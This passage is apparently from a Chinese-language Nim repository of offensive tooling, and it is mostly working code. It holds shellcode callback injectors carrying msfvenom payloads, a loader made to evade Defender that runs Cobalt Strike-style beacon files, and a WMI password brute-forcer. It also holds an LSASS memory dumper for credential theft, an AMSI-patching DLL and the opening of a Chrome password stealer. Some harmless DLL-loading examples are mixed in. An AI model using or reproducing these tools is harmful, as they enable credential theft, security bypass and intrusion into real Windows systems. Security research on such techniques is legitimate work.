the shellcode is however executed successfully 105 | 106 | ``` 107 | 108 | ## 姿势二 109 | 110 | 使用 [Emit pragma](https://nim-lang.org/docs/manual.html#implementation-specific-pragmas-emit-pragma) 111 | 112 | ``` nim 113 | #[ 114 | Author: StudyCat 115 | Blog: https://www.cnblogs.com/studycat 116 | Github: https://github.com/StudyCat404/myNimExamples 117 | 118 | References: 119 | - https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection/blob/main/EnumSystemGeoID.cpp 120 | ]# 121 | 122 | import winim/lean # for core SDK only, this speed up compiling time. 123 | 124 | when not defined(c): 125 | {.error: "Must be compiled in c mode"} 126 | 127 | {.emit: """ 128 | #include 129 | #include 130 | 131 | 132 | int myFunc(char *shellcode, int ssize) 133 | { 134 | //copy from https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection/blob/main/EnumSystemGeoID.cpp 135 | HANDLE hAlloc = VirtualAlloc(NULL, ssize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 136 | memcpy(hAlloc, shellcode, ssize); 137 | 138 | EnumSystemGeoID(GEOCLASS_NATION,0,(GEO_ENUMPROC) hAlloc); 139 | } 140 | """.} 141 | 142 | proc myFunc(shellcode: ptr byte, ssize: int): int 143 | {.importc: "myFunc", nodecl.} 144 | 145 | 146 | when defined(windows): 147 | 148 | # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler 149 | # Consts defined by the compiler 150 | when defined(i386): 151 | # msfvenom -p windows/exec -f csharp CMD="calc.exe" modified for Nim arrays 152 | echo "[*] Running in x86 process" 153 | var shellcode: array[193, byte] = [ 154 | byte 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, 155 | 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, 156 | 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52, 157 | 0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, 158 | 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 159 | 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, 160 | 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 161 | 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, 162 | 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, 163 | 0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f, 164 | 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5, 165 | 0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a, 166 | 0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00] 167 | 168 | elif defined(amd64): 169 | # msfvenom -p windows/x64/exec -f csharp CMD="calc.exe" modified for Nim arrays 170 | echo "[*] Running in x64 process" 171 | var shellcode: array[276, byte] = [ 172 | byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 173 | 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 174 | 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 175 | 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 176 | 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 177 | 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, 178 | 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, 179 | 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, 180 | 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, 181 | 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 182 | 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, 183 | 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, 184 | 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, 185 | 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, 186 | 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, 187 | 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 188 | 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, 189 | 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, 190 | 0x63,0x2e,0x65,0x78,0x65,0x00] 191 | 192 | # This is essentially the equivalent of 'if __name__ == '__main__' in python 193 | when isMainModule: 194 | let tProcess = GetCurrentProcessId() 195 | 196 | echo "[*] Target Process: ", tProcess 197 | 198 | discard myFunc(addr shellcode[0], 276) 199 | ``` 200 | 201 | ## 姿势三 202 | 203 | 使用 [Compile pragma](https://nim-lang.org/docs/manual.html#implementation-specific-pragmas-compile-pragma) 204 | 205 | 首先,将 https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection/blob/main/EnumSystemGeoID.cpp 另存为 EnumSystemGeoID.c,并将内容修改为如下: 206 | 207 | ``` EnumSystemGeoID.c 208 | #include 209 | #include 210 | 211 | int myFunc(char *shellcode, int ssize) 212 | { 213 | //sizeof(shellcode) 214 | HANDLE hAlloc = VirtualAlloc(NULL, ssize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 215 | memcpy(hAlloc, shellcode, ssize); 216 | 217 | EnumSystemGeoID(GEOCLASS_NATION,0,(GEO_ENUMPROC) hAlloc); 218 | } 219 | ``` 220 | 221 | ``` nim 222 | #[ 223 | Author: StudyCat 224 | Blog: https://www.cnblogs.com/studycat 225 | Github: https://github.com/StudyCat404/myNimExamples 226 | 227 | References: 228 | - https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection/blob/main/EnumSystemGeoID.cpp 229 | ]# 230 | 231 | import winim/lean # for core SDK only, this speed up compiling time. 232 | 233 | when not defined(c): 234 | {.error: "Must be compiled in c mode"} 235 | 236 | {.compile: "EnumSystemGeoID.c".} 237 | 238 | proc myFunc(shellcode: ptr byte, ssize: int): int 239 | {.importc: "myFunc", nodecl.} 240 | 241 | 242 | when defined(windows): 243 | 244 | # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler 245 | # Consts defined by the compiler 246 | when defined(i386): 247 | # msfvenom -p windows/exec -f csharp CMD="calc.exe" modified for Nim arrays 248 | echo "[*] Running in x86 process" 249 | var shellcode: array[193, byte] = [ 250 | byte 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, 251 | 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, 252 | 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52, 253 | 0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, 254 | 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 255 | 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, 256 | 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 257 | 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, 258 | 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, 259 | 0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f, 260 | 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5, 261 | 0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a, 262 | 0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00] 263 | 264 | elif defined(amd64): 265 | # msfvenom -p windows/x64/exec -f csharp CMD="calc.exe" modified for Nim arrays 266 | echo "[*] Running in x64 process" 267 | var shellcode: array[276, byte] = [ 268 | byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 269 | 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 270 | 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 271 | 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 272 | 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 273 | 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, 274 | 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, 275 | 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, 276 | 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, 277 | 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 278 | 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, 279 | 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, 280 | 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, 281 | 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, 282 | 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, 283 | 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 284 | 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, 285 | 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, 286 | 0x63,0x2e,0x65,0x78,0x65,0x00] 287 | 288 | # This is essentially the equivalent of 'if __name__ == '__main__' in python 289 | when isMainModule: 290 | let tProcess = GetCurrentProcessId() 291 | 292 | echo "[*] Target Process: ", tProcess 293 | 294 | discard myFunc(addr shellcode[0], 276) 295 | ``` 296 | 297 | ## 截图1 298 | 299 | ![截图](https://files-cdn.cnblogs.com/files/StudyCat/shellcode_callback_bin.bmp) 300 | 301 | ## 改造成 shellcode 加载器 302 | 303 | 我在 windows 10下运行以上代码,很显然都被 defender 干掉了,所以要做分离。代码如下: 304 | 305 | nim c --cpu:i386 -d:realese --opt:size shellcodeRun.nim 306 | 307 | [已经编译好的 shellcodeRun.exe](https://github.com/StudyCat404/myNimExamples/blob/main/examples/shellcodeRun.exe) 308 | 309 | ``` shellcodeRun.nim 310 | #[ 311 | Author: StudyCat 312 | Blog: https://www.cnblogs.com/studycat 313 | Github: https://github.com/StudyCat404/myNimExamples 314 | ]# 315 | import winim/lean 316 | import osproc 317 | import stew/byteutils 318 | import os 319 | import strutils 320 | 321 | proc shellcodeCallback(shellcode: openarray[byte]): void = 322 | let tProcess = GetCurrentProcessId() 323 | echo "Powered by StudyCat" 324 | echo "[*] Target Process: ", tProcess 325 | echo " \\-- bytes written: ", shellcode.len 326 | echo "[+] Injected" 327 | 328 | # Allocate memory 329 | let rPtr = VirtualAlloc( 330 | nil, 331 | cast[SIZE_T](shellcode.len), 332 | MEM_COMMIT, 333 | PAGE_EXECUTE_READ_WRITE 334 | ) 335 | 336 | # Copy Shellcode to the allocated memory section 337 | copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len)) 338 | 339 | # Callback execution 340 | EnumSystemGeoID( 341 | 16, 342 | 0, 343 | cast[GEO_ENUMPROC](rPtr) 344 | ) 345 | 346 | 347 | proc main() = 348 | if fileExists(paramStr(1)): 349 | var 350 | filename = paramStr(1) 351 | file: File 352 | 353 | file = open(filename, fmRead) 354 | var fileSize = file.getFileSize() 355 | var shellcode = newSeq[byte](fileSize) 356 | discard file.readBytes(shellcode, 0, fileSize) 357 | shellcodeCallback(shellcode) 358 | file.close() 359 | else: 360 | var hexstr: string = paramStr(1) 361 | var shellcode = newSeq[byte](len(hexstr) div 2) 362 | hexToByteArray(hexstr, shellcode) 363 | shellcodeCallback(shellcode) 364 | 365 | when defined(windows): 366 | if 2 > 1: 367 | if paramCount() > 0 : 368 | main() 369 | else: 370 | let pathSplit = splitPath(paramStr(0)) 371 | echo "Usage: ", pathSplit.tail, " fce88900000...648b52308b" 372 | echo "Usage: ", pathSplit.tail, " beacon.bin" 373 | 374 | ``` 375 | 376 | 截图 377 | 378 | ![截图](https://files-cdn.cnblogs.com/files/StudyCat/shellcodeRun01.bmp) 379 | 380 | ![截图](https://files-cdn.cnblogs.com/files/StudyCat/shellcodeRun02.bmp) 381 | 382 | ## 引用 383 | 384 | https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection/ 385 | 386 | https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/shellcode_callback_bin.nim 387 | -------------------------------------------------------------------------------- /WMI密码批量爆破.md: -------------------------------------------------------------------------------- 1 | # WMI密码批量爆破 2 | 3 | 先探测目标 IP 地址 135 端口是否开放,后进行密码的扫描。调用 swbemlocator 对象连接目标,然后根据响应信息,判断账密是否正确。除了输出扫描过程,发现的正确账号密码会保存到当前工作目录下的wmilogin.log 文件中。 4 | 5 | ### 用法 6 | 7 | Usage: wmiLogin.exe 192.168.1.111 8 | Usage: wmiLogin.exe 10.10.10.0/24 9 | Usage: wmiLogin.exe 172.10.1.1-172.10.8.254 10 | Usage: wmiLogin.exe 192.168.1.111,10.10.0.0/23 11 | Usage: wmiLogin.exe ip.txt 12 | 13 | IP地址的输入支持单个IP和CIDR 还有 IP地址范围。 14 | 15 | 账号密码的输入支持两种格式。 16 | 17 | 第一种,user.txt(存放用户名) 和 pass.txt(存放密码)。 18 | 19 | 第二种, userpass.txt(一行一对账号密码,用空格间隔,比如:administrator 123456)。 20 | 21 | 如果以上文件同时存在,优先选择第二种。 22 | 23 | 编译:nim c -d:release --opt:size --threads=on wmiLogin.nim 24 | 25 | 备注:本博客的代码仅作为测试目的,不能保证代码的兼容性和健壮性。 26 | 27 | ![截图](https://files-cdn.cnblogs.com/files/StudyCat/wmilogin.bmp) 28 | 29 | ### 源代码 30 | 31 | ``` wmiLogin.nim 32 | #[ 33 | Author: StudyCat 34 | Blog: https://www.cnblogs.com/studycat 35 | Github: https://github.com/StudyCat404/myNimExamples 36 | License: BSD 3-Clause 37 | ]# 38 | import winim/com 39 | import os 40 | import strutils 41 | import strformat 42 | import terminal 43 | import net 44 | import winim/inc/winnls 45 | import threadpool 46 | import ip_seg 47 | import times 48 | 49 | let time = cpuTime() 50 | 51 | type 52 | STATUS* = enum 53 | Error, Success, Info 54 | 55 | proc printC(stat: STATUS, text: string) = 56 | case stat 57 | of Error: 58 | stdout.styledWrite(fgRed, "[-] ") 59 | of Success: 60 | stdout.styledWrite(fgGreen, "[+] ") 61 | of Info: 62 | stdout.styledWrite(fgYellow, "[*] ") 63 | echo text 64 | 65 | proc log(content: string) = 66 | echo content 67 | let logFilename = "wmiLogin.log" 68 | var logFile: File 69 | logFile = open(logFilename, fmAppend) 70 | logFile.writeLine(content) 71 | logFile.close() 72 | 73 | proc telnet(host: string): bool = 74 | var socket = newSocket() 75 | try: 76 | socket.connect(host, Port(135), timeout=2000) 77 | return true 78 | except: 79 | #printC Error, fmt"{host}:135 close rpc" 80 | echo fmt"{host}:135 close rpc" 81 | return false 82 | finally: 83 | socket.close() 84 | 85 | proc ipParser(somestr: string): seq[string] = 86 | var nodes: seq[string] 87 | if fileExists(somestr): 88 | for line in somestr.lines: 89 | nodes.add(line) 90 | else: 91 | nodes.add(somestr.split(',')) 92 | 93 | for node in nodes: 94 | if isIpAddress(node): 95 | result.add(node) 96 | elif node.contains("-"): 97 | let 98 | range1 = node.split("-")[0] 99 | range2 = node.split("-")[1] 100 | if isIpAddress(range1) and isIpAddress(range2): 101 | result.add(calc_range(range1, range2)) 102 | elif node.contains("/"): 103 | result.add(calc_range(node)) 104 | else: 105 | echo "Fomat error: ", node 106 | if result.len() > 0: 107 | return result 108 | else: 109 | quit(-1) 110 | 111 | #SWbemLocator: User credentials cannot be used for local connections 112 | #SWbemLocator: Access is denied. 113 | #SWbemLocator: The RPC server is unavailable. 114 | proc wmiLogin(host, user, pass: string) {.thread.} = 115 | var objLocator = CreateObject("wbemscripting.swbemlocator") 116 | #1033 en #2052 cn 117 | var 118 | errorMsgA, errorMsgB: string 119 | if GetSystemDefaultLangID() == 2052: 120 | errorMsgA = "SWbemLocator: RPC 服务器不可用。" 121 | errorMsgB = "SWbemLocator: 用户凭据不能用于本地连接" 122 | else: 123 | errorMsgA = "SWbemLocator: The RPC server is unavailable." 124 | errorMsgB = "SWbemLocator: User credentials cannot be used for local connections" 125 | 126 | try: 127 | var SubobjSWbemServices = objLocator.connectServer(host, "root\\cimv2", user, pass, "MS_409", "", 128) 128 | discard SubobjSWbemServices.InstancesOf("Win32_Service") 129 | log(fmt"[+] {host} - '{user}':'{pass}' Successfully logged on!" ) 130 | except: 131 | #echo getCurrentCOMError().hresult 132 | #echo getCurrentException().msg 133 | if strip(getCurrentException().msg) == errorMsgA or strip(getCurrentException().msg) == errorMsgB: 134 | # printC Success, fmt"{host} - '{user}':'{pass}' Successfully logged on!" 135 | log(fmt"[+] {host} - '{user}':'{pass}' Successfully logged on!") 136 | else: 137 | echo fmt"[-] {host} - '{user}':'{pass}' Login failed" 138 | 139 | proc doWmiLogin(host: string, userpass: seq[tuple[user, pass: string]]) {.thread.} = 140 | if telnet(host): 141 | for credential in userpass: 142 | wmiLogin(host, credential.user, credential.pass) 143 | 144 | proc doWmiLogin(host: string, users, passes: seq[string]) {.thread.} = 145 | if telnet(host): 146 | for user in users: 147 | for pass in passes: 148 | wmiLogin(host, user, pass) 149 | 150 | proc main() = 151 | if paramCount() == 0 or paramStr(1) in ["-h","/?","help"]: 152 | let pathSplit = splitPath(paramStr(0)) 153 | echo "Usage: ", pathSplit.tail, " 192.168.1.111" 154 | echo "Usage: ", pathSplit.tail, " 10.10.10.0/24" 155 | echo "Usage: ", pathSplit.tail, " 172.10.1.1-172.10.8.254" 156 | echo "Usage: ", pathSplit.tail, " 192.168.1.111,10.10.0.0/23" 157 | echo "Usage: ", pathSplit.tail, " ip.txt" 158 | quit() 159 | 160 | let hosts = ipParser(paramStr(1)) 161 | 162 | if fileExists("userpass.txt"): 163 | var credential: tuple[user, pass: string] 164 | var userpass: seq[tuple[user, pass: string]] 165 | try: 166 | for line in "userpass.txt".lines: 167 | let t = split(line, " ", 1) 168 | credential.user = t[0] 169 | credential.pass = t[1] 170 | userpass.add(credential) 171 | except: 172 | echo getCurrentExceptionMsg() 173 | quit() 174 | 175 | for host in hosts: 176 | spawn doWmiLogin(host,userpass) 177 | 178 | elif fileExists("user.txt") and fileExists("pass.txt"): 179 | var users: seq[string] 180 | var passes: seq[string] 181 | for line in "user.txt".lines: 182 | users.add(line) 183 | for line in "pass.txt".lines: 184 | passes.add(line) 185 | 186 | for host in hosts: 187 | spawn doWmiLogin(host, users, passes) 188 | 189 | else: 190 | echo "userpass.txt not found" 191 | echo "user.txt or pass.txt not found" 192 | quit() 193 | 194 | sync() 195 | echo "Time taken: ", cpuTime() - time, "s" 196 | 197 | when isMainModule: 198 | when defined windows: 199 | main() 200 | ``` 201 | 202 | 向k8gege学习: http://k8gege.org/Ladon/WmiScan.html -------------------------------------------------------------------------------- /dll 创建及加载(nim学习系列).md: -------------------------------------------------------------------------------- 1 | # dll 创建/加载(nim学习系列) 2 | 3 | ### dll 创建 4 | 5 | test.nim 6 | 7 | ``` test.nim 8 | proc add(a, b: int): int {.stdcall, exportc, dynlib.} = a + b 9 | ``` 10 | 11 | 编译成 dll: 12 | 13 | nim c --app:lib -d:release test.nim 14 | 15 | ### dll 加载 16 | 17 | #### 方法一 18 | 19 | nim c --run loadDllA.nim 20 | 21 | 输出: 8 + 50 = 58 22 | 23 | ``` loadDllA.nim 24 | import dynlib 25 | 26 | type 27 | testFunction = proc(a, b: int): int {.gcsafe, stdcall.} 28 | 29 | let lib = loadLib("test.dll") 30 | 31 | if lib == nil: 32 | echo "Error loading library" 33 | quit(QuitFailure) 34 | 35 | let add = cast[testFunction](lib.symAddr("add")) 36 | 37 | if add == nil: 38 | echo "Error loading 'test' function from library" 39 | quit(QuitFailure) 40 | 41 | var 42 | a = 8 43 | b = 50 44 | echo a, " + ",b," = ", add(a,b) 45 | 46 | unloadLib(lib) 47 | ``` 48 | 49 | #### 方法二 50 | 51 | nim c --run loadDllB.nim 52 | 53 | 输出:4 + 6 = 10 54 | 55 | ``` loadDllB.nim 56 | proc add(a, b: int): int {.stdcall, importc:"add", dynlib:"test.dll".} 57 | 58 | var 59 | a = 4 60 | b = 6 61 | echo a, " + ",b," = ", add(a,b) 62 | ``` 63 | 64 | #### 内存加载 dll 65 | 66 | nim c --run loadDllM.nim 67 | 68 | 输出:3 + 4 = 7 69 | 70 | 引用:[memorymodule](https://github.com/ba0f3/mm.nim) 71 | 72 | ``` loadDllB.nim 73 | import memorymodule 74 | 75 | type AddProc = proc(a, b: int): int {.cdecl.} 76 | 77 | const MODULE = slurp("test.dll") 78 | 79 | var module = MemoryLoadLibrary(MODULE.cstring, MODULE.len) 80 | var fn = MemoryGetProcAddress(module, "add") 81 | if fn == nil: 82 | echo "add proc not found" 83 | else: 84 | echo "3 + 4 = ", cast[AddProc](fn)(3, 4) 85 | ``` 86 | 87 | #### DllMain 88 | 89 | nim c --app:lib --nomain test.dll 90 | 91 | 用rundll32测试,rundll32 test.dll,test 92 | 93 | ![截图](https://files-cdn.cnblogs.com/files/StudyCat/dll1.bmp) 94 | 95 | ``` test.nim 96 | import winim/lean 97 | 98 | proc NimMain() {.cdecl, importc.} 99 | 100 | proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} = 101 | NimMain() 102 | 103 | if fdwReason == DLL_PROCESS_ATTACH: 104 | MessageBox(0, "Hello, world !", "Nim is Powerful", 0) 105 | 106 | return true 107 | ``` 108 | 109 | -------------------------------------------------------------------------------- /dump lsass(nim 学习系列).md: -------------------------------------------------------------------------------- 1 | # dump lsass(nim 学习系列) 2 | 3 | 可以先使用 psexec 获取 system 权限在导出。 4 | 5 | nim compile -d:release --opt:size dumpLsass.nim 6 | 7 | ``` dumpLsass.nim 8 | #[ 9 | Author: StudyCat 10 | Blog: https://www.cnblogs.com/studycat 11 | Github: https://github.com/StudyCat404/myNimExamples 12 | License: BSD 3-Clause 13 | Referer: https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/minidump_bin.nim 14 | ]# 15 | 16 | import winim 17 | 18 | proc toString(chars: openArray[WCHAR]): string = 19 | result = "" 20 | for c in chars: 21 | if cast[char](c) == '\0': 22 | break 23 | result.add(cast[char](c)) 24 | 25 | proc GetLsassPid(): int = 26 | var 27 | entry: PROCESSENTRY32 28 | hSnapshot: HANDLE 29 | 30 | entry.dwSize = cast[DWORD](sizeof(PROCESSENTRY32)) 31 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) 32 | defer: CloseHandle(hSnapshot) 33 | 34 | if Process32First(hSnapshot, addr entry): 35 | while Process32Next(hSnapshot, addr entry): 36 | if entry.szExeFile.toString == "lsass.exe": 37 | return int(entry.th32ProcessID) 38 | 39 | return 0 40 | 41 | when isMainModule: 42 | let processId: int = GetLsassPid() 43 | if not bool(processId): 44 | echo "[X] Unable to find lsass process" 45 | quit(1) 46 | 47 | echo "[*] lsass PID: ", processId 48 | 49 | var hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, cast[DWORD](processId)) 50 | if not bool(hProcess): 51 | echo "[X] Unable to open handle to process" 52 | quit(1) 53 | 54 | try: 55 | var fs = open(r"C:\Users\dell\Desktop\test\lsass.dump", fmWrite) 56 | echo "[*] Creating memory dump, please wait..." 57 | var success = MiniDumpWriteDump( 58 | hProcess, 59 | cast[DWORD](processId), 60 | fs.getOsFileHandle(), 61 | 0x00000002, 62 | nil, 63 | nil, 64 | nil 65 | ) 66 | echo "[*] Dump successful: ", bool(success) 67 | fs.close() 68 | finally: 69 | CloseHandle(hProcess) 70 | ``` 71 | 72 | ![截图](https://files-cdn.cnblogs.com/files/StudyCat/dump.bmp) 73 | 74 | -------------------------------------------------------------------------------- /examples/amsiBypass.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: StudyCat 3 | Blog: https://www.cnblogs.com/studycat 4 | Github: https://github.com/StudyCat404/myNimExamples 5 | License: BSD 3-Clause 6 | Referer: https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/amsi_patch_bin.nim 7 | ]# 8 | import winim/lean 9 | import dynlib 10 | 11 | when defined amd64: 12 | #echo "[*] Running in x64 process" 13 | const patch: array[6, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3] 14 | elif defined i386: 15 | #echo "[*] Running in x86 process" 16 | const patch: array[8, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00] 17 | 18 | proc PatchAmsi(): bool = 19 | var 20 | amsi: LibHandle 21 | cs: pointer 22 | op: DWORD 23 | t: DWORD 24 | disabled: bool = false 25 | 26 | # loadLib does the same thing that the dynlib pragma does and is the equivalent of LoadLibrary() on windows 27 | # it also returns nil if something goes wrong meaning we can add some checks in the code to make sure everything's ok (which you can't really do well when using LoadLibrary() directly through winim) 28 | amsi = loadLib("amsi") 29 | if isNil(amsi): 30 | echo "[X] Failed to load amsi.dll" 31 | return disabled 32 | 33 | cs = amsi.symAddr("AmsiScanBuffer") # equivalent of GetProcAddress() 34 | if isNil(cs): 35 | echo "[X] Failed to get the address of 'AmsiScanBuffer'" 36 | return disabled 37 | 38 | if VirtualProtect(cs, patch.len, 0x40, addr op): 39 | #echo "[*] Applying patch" 40 | copyMem(cs, unsafeAddr patch, patch.len) 41 | VirtualProtect(cs, patch.len, op, addr t) 42 | disabled = true 43 | 44 | return disabled 45 | 46 | proc NimMain() {.cdecl, importc.} 47 | 48 | proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} = 49 | NimMain() 50 | 51 | if fdwReason == DLL_PROCESS_ATTACH: 52 | discard PatchAmsi() 53 | 54 | return true -------------------------------------------------------------------------------- /examples/chromepwd.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: StudyCat 3 | Blog: https://www.cnblogs.com/studycat 4 | Github: https://github.com/StudyCat404/myNimExamples 5 | License: BSD 3-Clause 6 | ]# 7 | 8 | import os 9 | import json 10 | import base64 11 | import winim/inc/wincrypt 12 | import sqlite3 13 | import 